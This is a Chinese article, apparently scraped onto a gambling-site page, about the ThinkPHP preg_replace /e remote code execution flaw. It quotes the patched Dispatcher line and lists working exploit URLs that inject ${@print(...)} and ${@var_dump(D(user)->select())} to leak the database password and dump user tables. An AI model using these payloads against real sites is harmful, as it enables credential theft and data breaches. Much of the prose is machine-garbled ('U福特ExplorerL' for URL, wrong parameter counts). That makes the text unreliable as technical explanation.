当前位置:w88手机版登录-www.w88zhan.com-优德w88app官方登录 > w88手机版登录网络 > 然而在用正则解析pathinfo的时候

然而在用正则解析pathinfo的时候

文章作者:w88手机版登录网络 上传时间:2019-07-03
ThinkPHP是一款国内使用比较广泛的老牌PHP MVC框架,有不少创业公司或者项目都用了这个框架(目前我们公司所有项目都是TP的),ThinkPHP不正确过滤用户提交的参数,远程攻击者可以利用漏洞以应用程序上下文执行任意PHP代码。
通过SVN我们来分析一下官方的补丁: 

/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php   125  -   $res = preg_replace('@(w )'.$depr.'([^'.$depr.'/] )@e', '$var['\1']="\2";', implode($depr,$paths));   125      $res = preg_replace('@(w )'.$depr.'([^'.$depr.'/] )@e', '$var['\1']='\2';', implode($depr,$paths)); 

那一个代码是把pathinfo当作restful类型url进行辨析的,重要职能是把pathinfo中的多少分析并统一到$_GET数组中。 
而是在用正则深入分析pathinfo的时候,重假设这一句:

$res = preg_replace('@(w )'.$depr.'([^'.$depr.'/] )@e', '$var['\1']="\2";', implode($depr,$paths));

那边料定使用了preg_replace的/e参数,那是个风雨飘摇的参数,若是用了那个参数,preg_replace第4个参数就能被看成php代码施行,小编用这种方法在第二个参数中,利用PHP代码给数组动态赋值。

'$var['\1']="\2";' 

而那边又是双引号,而双引号中的php变量语法又是能够被深入分析推行的。因而,攻击者只要对私行二个行使thinkphp框架编写的应用程序,使用如下格局开始展览访问,就可以施行大肆PHP代码: 

  1. 选拔U福特ExplorerL能够查看用户的数据库帐号密码DB_NAME,DB_PASS,DB_HOST

    • index.php/module/action/param1/${@print(THINK_VERSION)}
    • index.php/module/action/param1/${@print(C(‘’))}
    • index.php/module/action/param1/${@print(C(‘DB_PASS’))}

图片 1

2.运用模型D方法也许M方法,臆想后台帐号密码,当然要先猜一下用户的表名了貌似景况都以user/users/admin/employee,反正俺滴用户表都以这个0.0,当然别的的PHP函数都以能够试行的

http://www.XXX.com/eetodaycom/index.php/Product/show/id/25/parm1/${@var_dump(D(user)->select())}

图片 2

php thinkphp

来源:

本文由w88手机版登录-www.w88zhan.com-优德w88app官方登录发布于w88手机版登录网络,转载请注明出处:然而在用正则解析pathinfo的时候

关键词: